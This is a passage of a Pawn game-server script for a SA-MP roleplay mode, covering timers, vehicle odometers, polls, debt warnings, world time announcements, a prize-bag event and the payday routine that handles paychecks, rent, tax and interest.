	CreateVehicle(532, -6464.2393, -1406.8286, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6463.4688, -1413.7997, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6461.7188, -1418.6655, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6458.3682, -1413.0627, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6459.1924, -1422.4885, 1012.6384, -3.0000, -1, -1, -1);
	CreateVehicle(532, -6460.6738, -1430.4329, 1012.6384, -3.0000, -1, -1, -1);
	CreateVehicle(532, -6456.5488, -1427.2345, 1012.6384, -3.0000, -1, -1, -1);
	CreateVehicle(532, -6459.4941, -1438.1454, 1012.6384, -3.0000, -1, -1, -1);
	CreateVehicle(532, -6456.1699, -1440.5603, 1012.6384, -3.0000, -1, -1, -1);
	CreateVehicle(532, -6458.3892, -1444.2301, 1012.6384, -3.0000, -1, -1, -1);
*/


	new tmphour;
	new tmpminute;
	new tmpsecond;
	gettime(tmphour, tmpminute, tmpsecond);
	FixHour(tmphour);
	tmphour = shifthour;
	SetWorldTime(tmphour);
	SetTimer("ElamB", 5000, 1);
	SetTimer("SyncUp", 60000, 1);
	SetTimer("GivePayDay", 500, 1);
	SetTimer("SetPlayerUnjailKon", 1000, 1);
	SetTimer("OtherTimer", 3000, 1);
	SetTimer("CustomPickups", 5000, 1);
	SetTimer("SaveAccounts", 300000, 1); //5 minutes everyaccounts save
	SetTimer("SPeedKm", 600, 1);
	SetTimer("benzinkamkon", 1000, true);
	SetTimer("kiloezafkon", 2000, true);
	SetTimer("EventSa" ,60000 ,false);
	ReadAccountBar();
	mysql_function_query(handle,"UPDATE `users` SET pOnline='0'",false,"SendQuery","");
	return 1;
}

forward kiloezafkon();
public kiloezafkon()
{
	new string[24];
	for(new i = 0; i < Akharish; i++)
	{
		if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER && GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
		{
			new veh = GetPlayerVehicleID(i);
			new r = PlayerInfo[i][pVeh1];
			new speed = soratbegirs(veh);
			if(speed > 0 && speed <= 20)

				vInfo[r][cKilo] += 0.011;

			if(speed > 20 && speed <= 50)

				vInfo[r][cKilo] += 0.055;

			if(speed > 50 && speed <= 100)

				vInfo[r][cKilo] += 0.088;

			if(speed > 100 && speed <= 180)

				vInfo[r][cKilo] += 0.115;

			if(speed > 180)

				vInfo[r][cKilo] += 0.122;

			SaveKonFloatV(r, "cKilo", vInfo[r][cKilo]);
			for(new ss = 0;ss<Akharish;ss++)
			{
				if(IsPlayerConnected(ss) && GetPlayerVehicleID(ss) == GetPlayerVehicleID(i))
				{
					format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
					PlayerTextDrawSetString(ss, KiloTextDraw[ss], string);
					if(vInfo[r][cLock] == 1)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~r~Locked");

					if(vInfo[r][cLock] == 0)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~g~Unlocked");
				}
			}
		}
		else if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER && GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
		{
			new veh = GetPlayerVehicleID(i);
			new r = PlayerInfo[i][pVeh2];
			new speed = soratbegirs(veh);
			if(speed > 0 && speed <= 20)

				vInfo[r][cKilo] += 0.011;

			if(speed > 20 && speed <= 50)

				vInfo[r][cKilo] += 0.055;

			if(speed > 50 && speed <= 100)

				vInfo[r][cKilo] += 0.088;

			if(speed > 100 && speed <= 180)

				vInfo[r][cKilo] += 0.115;

			if(speed > 180)

				vInfo[r][cKilo] += 0.122;

			SaveKonFloatV(r, "cKilo", vInfo[r][cKilo]);
			for(new ss = 0;ss<Akharish;ss++)
			{
				if(IsPlayerConnected(ss) && GetPlayerVehicleID(ss) == GetPlayerVehicleID(i))
				{
					format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
					PlayerTextDrawSetString(ss, KiloTextDraw[ss], string);
					if(vInfo[r][cLock] == 1)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~r~Locked");

					if(vInfo[r][cLock] == 0)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~g~Unlocked");

				}
			}
		}
		else if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER && GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
		{
			new veh = GetPlayerVehicleID(i);
			new r = PlayerInfo[i][pVeh3];
			new speed = soratbegirs(veh);
			if(speed > 0 && speed <= 20)

				vInfo[r][cKilo] += 0.011;

			if(speed > 20 && speed <= 50)

				vInfo[r][cKilo] += 0.055;

			if(speed > 50 && speed <= 100)

				vInfo[r][cKilo] += 0.088;

			if(speed > 100 && speed <= 180)

				vInfo[r][cKilo] += 0.115;

			if(speed > 180)

				vInfo[r][cKilo] += 0.122;

			SaveKonFloatV(r, "cKilo", vInfo[r][cKilo]);
			for(new ss = 0;ss<Akharish;ss++)
			{
				if(IsPlayerConnected(ss) && GetPlayerVehicleID(ss) == GetPlayerVehicleID(i))
				{
					format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
					PlayerTextDrawSetString(ss, KiloTextDraw[ss], string);
					if(vInfo[r][cLock] == 1)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~r~Locked");

					if(vInfo[r][cLock] == 0)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~g~Unlocked");

				}
			}
		}
		else if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER && GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
		{
			new veh = GetPlayerVehicleID(i);
			new r = PlayerInfo[i][pVeh4];
			new speed = soratbegirs(veh);
			if(speed > 0 && speed <= 20)

				vInfo[r][cKilo] += 0.011;

			if(speed > 20 && speed <= 50)

				vInfo[r][cKilo] += 0.055;

			if(speed > 50 && speed <= 100)

				vInfo[r][cKilo] += 0.088;

			if(speed > 100 && speed <= 180)

				vInfo[r][cKilo] += 0.115;

			if(speed > 180)

				vInfo[r][cKilo] += 0.122;

			SaveKonFloatV(r, "cKilo", vInfo[r][cKilo]);
			for(new ss = 0;ss<Akharish;ss++)
			{
				if(IsPlayerConnected(ss) && GetPlayerVehicleID(ss) == GetPlayerVehicleID(i))
				{
					format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
					PlayerTextDrawSetString(ss, KiloTextDraw[ss], string);
					if(vInfo[r][cLock] == 1)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~r~Locked");

					if(vInfo[r][cLock] == 0)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~g~Unlocked");

				}
			}
		}
		else if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER && GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
		{
			new veh = GetPlayerVehicleID(i);
			new r = PlayerInfo[i][pVeh5];
			new speed = soratbegirs(veh);
			if(speed > 0 && speed <= 20)

				vInfo[r][cKilo] += 0.011;

			if(speed > 20 && speed <= 50)

				vInfo[r][cKilo] += 0.055;

			if(speed > 50 && speed <= 100)

				vInfo[r][cKilo] += 0.088;

			if(speed > 100 && speed <= 180)

				vInfo[r][cKilo] += 0.115;

			if(speed > 180)

				vInfo[r][cKilo] += 0.122;

			SaveKonFloatV(r, "cKilo", vInfo[r][cKilo]);
			for(new ss = 0;ss<Akharish;ss++)
			{
				if(IsPlayerConnected(ss) && GetPlayerVehicleID(ss) == GetPlayerVehicleID(i))
				{
					format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
					PlayerTextDrawSetString(ss, KiloTextDraw[ss], string);
					if(vInfo[r][cLock] == 1)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~r~Locked");

					if(vInfo[r][cLock] == 0)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~g~Unlocked");

				}
			}
		}
		else if(IsPlayerConnected(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER && GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
		{
			new veh = GetPlayerVehicleID(i);
			new r = PlayerInfo[i][pVeh6];
			new speed = soratbegirs(veh);
			if(speed > 0 && speed <= 20)

				vInfo[r][cKilo] += 0.011;

			if(speed > 20 && speed <= 50)

				vInfo[r][cKilo] += 0.055;

			if(speed > 50 && speed <= 100)

				vInfo[r][cKilo] += 0.088;

			if(speed > 100 && speed <= 180)

				vInfo[r][cKilo] += 0.115;

			if(speed > 180)

				vInfo[r][cKilo] += 0.122;

			SaveKonFloatV(r, "cKilo", vInfo[r][cKilo]);
			for(new ss = 0;ss<Akharish;ss++)
			{
				if(IsPlayerConnected(ss) && GetPlayerVehicleID(ss) == GetPlayerVehicleID(i))
				{
					format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
					PlayerTextDrawSetString(ss, KiloTextDraw[ss], string);
					if(vInfo[r][cLock] == 1)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~r~Locked");

					if(vInfo[r][cLock] == 0)

						PlayerTextDrawSetString(ss, LockTD[ss], "Status: ~g~Unlocked");

				}
			}
		}
	}
	return 1;
}
public GivePayDay()
{
SyncTime();
}
public Votes()
{
new chat[144];
new chat1[144];
if(IsAnyPollActivated == 1)
{
for(new g = 0; g<Akharish; g++)
{
SCM(g, CRISTIAN, "_________________________________________________________________");
SCM(g, COLOR_YELLOW2, "We have an ongoing poll with details below:");
if(IsAnyPollPrivate == 1)
{
SCM(g, COLOR_LIGHTRED, "Poll Type: Private");
}
if(IsAnyPollPublic == 1)
{
SCM(g, COLOR_LIGHTRED, "Poll Type: Public");
}
//new adad1darsad;
//new adad2darsad;
//adad1darsad = Op1Votes/TotalVotes;
//adad2darsad = Op2Votes/TotalVotes;
format(chat, sizeof(chat), "%s",PollTitle);
format(chat1, sizeof(chat1), "1_ %s(%d votes)              2_ %s(%d votes)",PollOp1, Op1Votes, PollOp2, Op2Votes);
SendMessage(g, COLOR_LIGHTRED, chat);
SendMessage(g, COLOR_LIGHTRED, chat1);
SCM(g, COLOR_Good, "Tip: You can vote with /vote.");
SCM(g, CRISTIAN, "_________________________________________________________________");
}
}
}
/*
public VotesZ()
{
new chat[144];
new chat1[144];
if(IsAnyPollActivated == 1)
{
for(new g = 0; g<Akharish; g++)
{
SCM(g, CRISTIAN, "_________________________________________________________________");
SCM(g, COLOR_YELLOW2, "We have a ongoing poll with details below:");
if(IsAnyPollPrivate == 1)
{
SCM(g, COLOR_LIGHTRED, "Poll Type: Private");
}
if(IsAnyPollPublic == 1)
{
SCM(g, COLOR_LIGHTRED, "Poll Type: Public");
}
//new adad1darsad;
//new adad2darsad;
//adad1darsad = Op1Votes/TotalVotes;
//adad2darsad = Op2Votes/TotalVotes;
format(chat, sizeof(chat), "%s",PollTitle);
format(chat1, sizeof(chat1), "1_ %s(%d votes, %0.0f)              2_ %s(%d votes, %0.0f)",PollOp1, Op1Votes, (float(Op1Votes)/float(TotalVotes) * 100), PollOp2, Op2Votes, (float(Op2Votes)/float(TotalVotes) * 100));
SendMessage(g, COLOR_LIGHTRED, chat);
SendMessage(g, COLOR_LIGHTRED, chat1);
SCM(g, COLOR_Good, "Tip: You can vote with /vote.");
SCM(g, CRISTIAN, "_________________________________________________________________");
}
}
}
*/
public SyncUp()
{
	new string[256];
	for(new j = 0; j<Akharish; j++)
	{
	   if(IsPlayerConnected(j))
	   {
		  if(GetPlayerPool(j) < 0)
		  {
			 if(MoneyMessage[j]==0)
			 {
				format(string, sizeof(string), "You are in debt, you have till next Time Check to get: $%d or you go to jail.", GetPlayerPool(j));
				SendMessage(j, COLOR_LIGHTRED, string);
				MoneyMessage[j] = 1;
			 }
		  }
		  else
		  {
			 MoneyMessage[j] = 0;
		  }
	   }
	}
	KamKonAzMinuteGetHit();
	DollahScoreUpdate();
}
KamKonAzMinuteGetHit()
{
	mysql_function_query(handle,"SELECT * FROM `users` WHERE pGetHitTime>='1'",true,"KamKOONAZMINGETHIT","");
	return 1;
}
function KamKOONAZMINGETHIT()
{
	new Name[40];
	for(new i = 0;i<cache_get_row_count(handle);i++)
	{
	   cache_get_row(i,0,Name,handle,40);

	   new id = ReturnUser2(Name);
	   if(!IsPlayerConnected(id))
	   {
		  new query[256];
		  mysql_format(handle, query,256,"UPDATE `users` SET pGetHitTime=pGetHitTime-'1' WHERE pName='%e' AND pGetHitTime>='1'",Name[i]);
		  mysql_function_query(handle,query,false,"SendQuery","");
	   }
	   else
	   {
		  PINFO[id][pGetHitTime] --;
		  SaveKonVal(id, "pGetHitTime", PINFO[id][pGetHitTime]);
	   }
	}
	return 1;
}
public SyncTime()
{
	new string[64];
	new tmphour;
	new tmpminute;
	new tmpsecond;
	gettime(tmphour, tmpminute, tmpsecond);
	FixHour(tmphour);
	tmphour = shifthour;
	if ((tmphour > ghour) || (tmphour == 0 && ghour == 23))
	{
	if(tmphour >= 10 && tmphour <= 23)
	{
	   format(string, sizeof(string), "SERVER: The time is now %d:00 hours",tmphour);
	   BroadCast(COLOR_WHITE,string);
	}
	if(tmphour >= 0 && tmphour <= 9)
	{
	format(string, sizeof(string), "SERVER: The time is now 0%d:00 hours",tmphour);
	BroadCast(COLOR_WHITE,string);
	}
	   ghour = tmphour;
	   PayDay();
	   if(tmphour == 20)
	   {
					format(string, sizeof(string), "Lottery News: We have started the Lottery Election.");
					OOCOff(COLOR_DBLUE, string);
					new rand = random(80);
					Lotto(rand);
	   }
		  SetWorldTime(tmphour);
	}
	
}

public SaveAccounts()
{
	mysql_tquery(handle, "ALTER TABLE `vehicles` ORDER BY `vID`", "SendQuery", "");
	AmirMamad ++;
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  ReadAccountBar();
		  if(AmirMamad == 6)
		  {
//                SCM(i,COLOR_LIGHTRED,"Baraye amniat bishtar shoma mitoonid passwordetoono dar har lahze avaz konid.");
//                SCM(i,COLOR_LIGHTRED,"Hamchenin Shoma mitavanid dar forum be UCP khodetoon sar bezanid.");
//                SCM(i,COLOR_LIGHTRED,"For security reasons you can change your password anytime.");
//                SCM(i,COLOR_LIGHTRED,"Also you can check your UCP on forum.");
//                ChangeWeather();
		  }
	   }
	}
	for(new i = 0;i<sizeof BizzInfo;i++)
	{
	   OnBizUpdate(i);
	}
	for(new i = 0;i<sizeof SBizzInfo;i++)
	{
	   OnSbizUpdate(i);
	}
}
forward MoneyBag();
public MoneyBag()
{
	new string[175];
		if(!MoneyBagFound)
		{
			format(string, sizeof(string), "*** The Prize Bag isn't found, it's still at {ff0000}%s{F5DEB3} ***", MoneyBagLocation);
				SendClientMessageToAll(COLOR_SINARANG, string);
		}
		else if(MoneyBagFound)
		{
			MoneyBagFound = 0;
			new randombag = random(sizeof(MBSPAWN));
			MoneyBagPos[0] = MBSPAWN[randombag][XPOS];
			MoneyBagPos[1] = MBSPAWN[randombag][YPOS];
			MoneyBagPos[2] = MBSPAWN[randombag][ZPOS];
			format(MoneyBagLocation, sizeof(MoneyBagLocation), "%s", MBSPAWN[randombag][Position]);
				format(string, sizeof(string), "*** The Prize Bag was appeared at {ff0000}%s{F5DEB3} ***", MoneyBagLocation);
		SendClientMessageToAll(COLOR_SINARANG, string);
				MoneyBagPickup = CreatePickup(1550, 2, MoneyBagPos[0], MoneyBagPos[1], MoneyBagPos[2], -1);
		}
		return 1;
}
/*public IsPlayerInTurf(playerid, turfid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(turfid == -1)
	   {
		  return 0;
	   }
	   new Float:x, Float:y, Float:z;
	   GetPlayerPos(playerid,x,y,z);
	   if(x >= TurfInfo[turfid][zMinX] && x < TurfInfo[turfid][zMaxX] && y >= TurfInfo[turfid][zMinY] && y < TurfInfo[turfid][zMaxY])
	   {
		  return 1;
	   }
	}
	return 0;
}
*/
public IsPlayerInTurf(playerid, turfid)
{
if(turfid==ImInTurfEx[playerid])return 1;
return 0;
}
public GetClosestPlayer(p1)
{
	new x,Float:dis,Float:dis2,player;
	player = -1;
	dis = 99999.99;
	for (x=0;x<MAX_PLAYERS;x++)
	{
	   if(IsPlayerConnected(x))
	   {
		  if(x != p1)
		  {
			 dis2 = GetDistanceBetweenPlayers(x,p1);
			 if(dis2 < dis && dis2 != -1.00)
			 {
				dis = dis2;
				player = x;
			 }
		  }
	   }
	}
	return player;
}
stock GetDistanceToPoint(playerid,Float:x2,Float:y2,Float:z2)
	{
		  new Float:dis;
		  new Float:x1,Float:y1,Float:z1;
		  if (!IsPlayerConnected(playerid)) return -1;
		  GetPlayerPos(playerid,x1,y1,z1);
		  dis = floatsqroot(floatpower(floatabs(floatsub(x2,x1)),2)+floatpower(floatabs(floatsub(y2,y1)),2)+floatpower(floatabs(floatsub(z2,z1)),2));
		  return floatround(dis);
	}
	/*
function WantedKamKon(playerid)
{
	for(new b;b<Akharish;b++)
	{
	   if(IsPlayerConnected(b))
	   {
		  if(gTeam[b] == TEAM_COP)
		  {
			 if(ProxDetectorS(80,playerid,b)) {WantedTimerEZ[playerid] = 900; WantedKamKonTimerValid[playerid] = true; PlayerTextDrawShow(playerid, WantedTTD[playerid]); return 0;}
		  }
	   }
	}

	if(GetPlayerWantedLevel(playerid) >= 1)
	{
	   SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)-1);
	   new points = GetPlayerWantedLevel(playerid);
	   new wlevel;
	   if(points > 0)
	   {
		  new yesno;
		  if(points >= 1 && points <= 6) { WantedLevel[playerid] = points; wlevel = points; yesno = 1; }
		  if(yesno)
		  {
			 new string[256];
			 SCM(playerid,COLOR_LIGHTRED,"Wanted -1, reason: Cops lost your track.");
			 format(string, sizeof(string), "Current Wanted Level: %d", wlevel);
			 SendMessage(playerid, COLOR_YELLOW, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} All units server removed 1 wantedlevel from %s, current wanted level(s) of this player is %d.", PlayerInfo[playerid][pName], wlevel);
				SendFamilyMessage(1, COLOR_LIGHTRED, string, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} All units server removed 1 wantedlevel from %s, current wanted level(s) of this player is %d.", PlayerInfo[playerid][pName], wlevel);
				SendFamilyMessage(2, COLOR_LIGHTRED, string, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF} All units server removed 1 wantedlevel from %s, current wanted level(s) of this player is %d.", PlayerInfo[playerid][pName], wlevel);
				SendFamilyMessage(3, COLOR_LIGHTRED, string, string);
			 SetPlayerWantedLevel(playerid,wlevel);
			 if(GetPlayerWantedLevel(playerid) >= 1) {WantedTimerEZ[playerid] = 900; WantedKamKonTimerValid[playerid] = true; PlayerTextDrawShow(playerid, WantedTTD[playerid]);}
		  }
	   }
	}
	return 1;
}
*/
/*
enum rankingEnum
{
	player_Score,
	player_ID
}
new playerScores[MAX_PLAYERS][rankingEnum];
stock GetPlayerHighestScores(array[][rankingEnum], left, right)
{
	new
		tempLeft = left,
		tempRight = right,
		pivot = array[(left + right) / 2][player_Score],
		tempVar
	;
	while(tempLeft <= tempRight)
	{
		while(array[tempLeft][player_Score] > pivot) tempLeft++;
		while(array[tempRight][player_Score] < pivot) tempRight--;

		if(tempLeft <= tempRight)
		{
		   tempVar = array[tempLeft][player_Score], array[tempLeft][player_Score] = array[tempRight][player_Score], array[tempRight][player_Score] = tempVar;
			tempVar = array[tempLeft][player_ID], array[tempLeft][player_ID] = array[tempRight][player_ID], array[tempRight][player_ID] = tempVar;
			tempLeft++, tempRight--;
		}
	}
	if(left < tempRight) GetPlayerHighestScores(array, left, tempRight);
	if(tempLeft < right) GetPlayerHighestScores(array, tempLeft, right);
}

ReturnIsNot(playerid) {
new index;
for(new i=0;i<Akharish;i++) {
if (!strcmp(PINFO[playerid][pIp],PINFO[i][pIp]) || !strcmp(PINFO[playerid][pIp],PINFO[i][pIp])) {
if(PINFO[i][pLevel] == 0) NotMulti[playerid][i] = 9999;
else NotMulti[playerid][i] = PINFO[playerid][pLevel];
}
else {
NotMulti[playerid][i] = 0;
}

playerScores[index][player_Score] = PINFO[playerid][pLevel];
playerScores[index][player_ID] = i;
++index;
}
GetPlayerHighestScores(playerScores, 0, index);
if(playerScores[0][player_ID] == playerid) {PayDayWill[playerid] = 1;}
else {PayDayWill[playerid] = 0;}
return 1;
}
*/
stock PayDay()
{
	new string[128];
	new account,interest;
	new rent = 0;

		for(new i;i<Akharish;i++) {

	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pLevel] >= 0)
		  {
			 if(MoneyMessage[i]==1 && GetPlayerWantedLevel(i) > 0)
			 {
				SendMessage(i, COLOR_LIGHTRED, "You failed to pay your debt, Jail time.");
				GameTextForPlayer(i, "~r~Busted!", 2000, 1);
					SetPlayerWantedLevel(i,GetPlayerWantedLevel(i)+1);
                WantedKamKonTimerValid[i] = true;
                WantedTimerEZ[i] = 900;
                PlayerTextDrawShow(i, WantedTTD[i]);
				//SetPlayerWantedLevel(i,0);
				//PlayerInfo[i][pJailTime] = 240;
				//SaveKonVal(i, "pJailTime", 240);
				//SpawnPlayer(i);
				format(string, sizeof(string), "You got 1 wanted in debt.");
				SendMessage(i, COLOR_LIGHTRED, string);
			 }
			 new playername2[MAX_PLAYER_NAME];
			 GetPlayerName(i, playername2, sizeof(playername2));
			 account = PlayerInfo[i][pAccount];
			 new key = PlayerInfo[i][pPhousekey];
			 if(key != 9999)
			 {
				new bool:nadarein;
				rent = HouseInfo[key][hRent];
				if(strcmp(playername2, HouseInfo[key][hOwner], true) == 0)
				{
					rent = 0;
				}
				else if(rent > PINFO[i][pAccount])
				{
					PlayerInfo[i][pPhousekey] = 9999;
					SaveKonVal(i, "pPhousekey", 9999);
					SendMessage(i, COLOR_RED, "You have been evicted.");
					rent = 0;
						/*
					if(PINFO[i][gParked] == 1)
					{
					   CreateVehGarage(i);
					   SCM(i,COLOR_Good,"Your first car have been evicted from the parking.");
					}
					if(PINFO[i][gParked_2] == 1)
					{
					   CreateVehGarage_2(i);
					   SCM(i,COLOR_Good,"Your first car have been evicted from the parking.");
					}
						*/
					RemovePlayerMapIcon(i, 30);
					nadarein = true;
				}
				HouseInfo[key][hTakings] = HouseInfo[key][hTakings]+rent;
				SaveKonValH(key, "hTakings", HouseInfo[key][hTakings]);
				if(nadarein == false) {PINFO[i][pAccount] -= rent; SaveKonVal(i, "pAccount", PINFO[i][pAccount]);}
			 }
			 new tmpintrate;
			 if(PlayerInfo[i][pPremiumAccount] > 0) { tmpintrate = 2; }
			 else { tmpintrate = 1; }

			 if(MyPayMin[i] >= 1)
			 {
				if(PINFO[i][pLevel] >= 8)
				{
					PlayerInfo[i][pAccount] -= Tax;
					SaveKonVal(i, "pAccount", PINFO[i][pAccount]);
					TaxValue += Tax;
					SaveStuff();
				}
				new Float:checks2;

					new tmphour;
					new tmpminute;
					new tmpsecond;
					gettime(tmphour, tmpminute, tmpsecond);
					if(tmphour >= 19 && tmphour <= 24 && PlayerInfo[i][pPremiumAccount] != 0) {
				checks2 = PlayerInfo[i][pPayCheck] / 2.5;
					}
					else {
				checks2 = PlayerInfo[i][pPayCheck] / 5.0;
					}

				new checks = floatround(checks2);
					if(InSleep[i] == 1 && PINFO[i][pPremiumAccount] == 0) checks = 0;
				GivePlayerPool(i, checks);
				interest = (PlayerInfo[i][pAccount]/1000)*(tmpintrate);
				PlayerPlayMusic(i);
				if(interest >= 6001 && PlayerInfo[i][pPremiumAccount] == 0)
				{
				interest = 6000;
				}
				if(interest >= 12000 && PlayerInfo[i][pPremiumAccount] == 1)
				{
				interest = 12000;
				}
				PlayerInfo[i][pAccount] = account+interest;
				SaveKonVal(i, "pAccount", PINFO[i][pAccount]);
				new nxtlevel = PlayerInfo[i][pLevel]+1;
//				new expamount;
//					if(nxtlevel < 8) {expamount = nxtlevel*2;}
//					else if(nxtlevel < 15 && nxtlevel > 7) {expamount = nxtlevel*3;}
//					else if(nxtlevel > 14) {expamount = nxtlevel*4;}
				new taxMayoor;
				if(PINFO[i][pLevel] >= 8)
				{
				taxMayoor = Tax;
				}
				else
				{
				taxMayoor = 0;
				}
				new lastbalance = account + taxMayoor + rent;
				GameTextForPlayer(i, "~w~Payday~n~~y~PayCheck", 5000, 1);
				SendMessage(i, COLOR_WHITE, "|_________ Bank statement __________|");
				format(string, sizeof(string), "  Paycheck: $%s", FormatNumber(checks));
				SendMessage(i, COLOR_GRAD2, string);
				if(myBG[i]==INVALID_PLAYER_ID){
				format(string, sizeof(string), "  Tax: -$%s  Rent: -$%s", FormatNumber(taxMayoor), FormatNumber(rent));}
				else{format(string, sizeof(string), "  Tax: -$%s  Rent: -$%s  Bodyguard: -$%s", FormatNumber(taxMayoor), FormatNumber(rent), FormatNumber(BGFee[myBG[i]]));}
				SendMessage(i, COLOR_GRAD2, string);
				format(string, sizeof(string), "  Balance: $%s", FormatNumber(lastbalance));
				SendMessage(i, COLOR_GRAD2, string);
				format(string, sizeof(string), "  Interest Rate: 0.%d percent",tmpintrate);
				SendMessage(i, COLOR_GRAD2, string);
				if(ImBG[i]==INVALID_PLAYER_ID){
				format(string, sizeof(string), "  Interest Gained: $%s", FormatNumber(interest));}
				else{format(string, sizeof(string), "  Interest Gained: $%s  Bodyguard: $%s", FormatNumber(interest), FormatNumber(BGFee[i]));}
				SendMessage(i, COLOR_GRAD2, string);
					//if(PINFO[i][pSoldier] != 0 && AFK[i] == 0) {
					//format(string, sizeof(string), "  Soldiery Days: %d", PINFO[i][pSoldier]-1);
				//SendMessage(i, COLOR_GRAD2, string);
					//}
				if(myBG[i]!=INVALID_PLAYER_ID)
				{
				PlayerInfo[i][pAccount] -= BGFee[myBG[i]];
				SaveKonVal(i, "pAccount", PINFO[i][pAccount]);
				PlayerInfo[myBG[i]][pAccount] += BGFee[myBG[i]];
				SaveKonVal(myBG[i], "pAccount", PINFO[myBG[i]][pAccount]);
				}
				SendMessage(i, COLOR_WHITE, "|---------------------------------------|");
				format(string, sizeof(string), "  New Balance: $%s", FormatNumber(PlayerInfo[i][pAccount]));
				SendMessage(i, COLOR_GRAD2, string);
				if(PINFO[i][pGBox] < 1)
				{
				SCM(i, COLOR_YELLOW2, "You can get another box.");
					}
					/*
					if(psday1[i] == 1)
					{
					SCM(i, COLOR_Good, "Your sponsor days finished.");
				SCM(i, COLOR_Good, "If you want this rank again, you can tell higher admins.");
				SCM(i, COLOR_Good, "For syncing with system, you'll be reconnect.");
				PINFO[i][pSponser] = 0;
				SaveKonVal(i, "pSponser", 0);
					OnPlayerCommandText(i, "/relog");
					}
					if(phday1[i] == 1)
					{
					SCM(i, COLOR_Good, "Your hoster days finished.");
				SCM(i, COLOR_Good, "If you want this rank again, you can tell higher admins.");
				SCM(i, COLOR_Good, "For syncing with system, you'll be reconnect.");
				PINFO[i][pAdmin] = 0;
				SaveKonVal(i, "pAdmin", 0);
				PINFO[i][pHelper] = 0;
				SaveKonVal(i, "pHelper", 0);
					OnPlayerCommandText(i, "/relog");
					}
					*/
				new saat,daqiqe,sanie;
				gettime(saat,daqiqe,sanie);
				PlayerInfo[i][pExp]++;
				SaveKonVal(i, "pExp", PINFO[i][pExp]);
				PlayerInfo[i][pGBox]--;
				SaveKonVal(i, "pGBox", PINFO[i][pGBox]);
				// MySActivity
				if(PINFO[i][pLeader] >= 1 && PINFO[i][pActL] < 6)
				{
				PlayerInfo[i][pActL]++;
				SaveKonVal(i, "pActL", PINFO[i][pActL]);
				}

				if(PINFO[i][pLeader] >= 1 || PINFO[i][pHelper] >= 1 || PINFO[i][pAdmin] >= 1)
				{
				PlayerInfo[i][pSPoint]++;
				SaveKonVal(i, "pSPoint", PINFO[i][pSPoint]);
				}
				if(BetShopLock == 1)// :DD
				{
					BetShopLock = 0;
					MoveDynamicObject(betshopgate,2318.98193, -1983.48926, 9.76464, 3);// Baz she
					betshopl = SetTimer("betshoptime", 600000, 0);
					SendClientMessageToAll(COLOR_SINARANG, "****   The betshop is now open! Use /findsbiz 22 to go to betshop. (You have 10 minutes)");
				}
				if(PINFO[i][pPremiumAccount] == 0 && PINFO[i][pSRob] < 6)
				{
				PlayerInfo[i][pSRob] += 1;
				SaveKonVal(i, "pSRob", PINFO[i][pSRob]);
				}
				if(PINFO[i][pPremiumAccount] != 0 && PINFO[i][pSRob] < 11)
				{
				PlayerInfo[i][pSRob] += 1;
				SaveKonVal(i, "pSRob", PINFO[i][pSRob]);
				}
				if(PINFO[i][pPremiumAccount] != 0 && PINFO[i][pVip] == 0)
				{
				new randomgold = RandomShomare(1,3);
				new azas[144];
				format(azas, sizeof(azas), "You have received %d golds for your premium account as a prize.", randomgold);
				SCM(i, COLOR_LIGHTRED, azas);
				PlayerInfo[i][pGold] += randomgold;
				SaveKonVal(i, "pGold", PINFO[i][pGold]);
				}
				if(PINFO[i][pPremiumAccount] == 0 && PINFO[i][pVip] != 0)
				{
				new randomgold = RandomShomare(2,3);
				new azas[144];
				format(azas, sizeof(azas), "You have received %d golds for your VIP account as a prize.", randomgold);
				SCM(i, COLOR_LIGHTRED, azas);
				PlayerInfo[i][pGold] += randomgold;
				SaveKonVal(i, "pGold", PINFO[i][pGold]);
				}
				if(PINFO[i][pPremiumAccount] != 0 && PINFO[i][pVip] != 0)
				{
				new randomgold = RandomShomare(4,5);
				new azas[144];
				format(azas, sizeof(azas), "You have received %d golds for your premium and VIP account as a prize.", randomgold);
				SCM(i, COLOR_LIGHTRED, azas);
				PlayerInfo[i][pGold] += randomgold;
				SaveKonVal(i, "pGold", PINFO[i][pGold]);
				}
				// End
//				new nxttlevel = PlayerInfo[i][pLevel]+1;
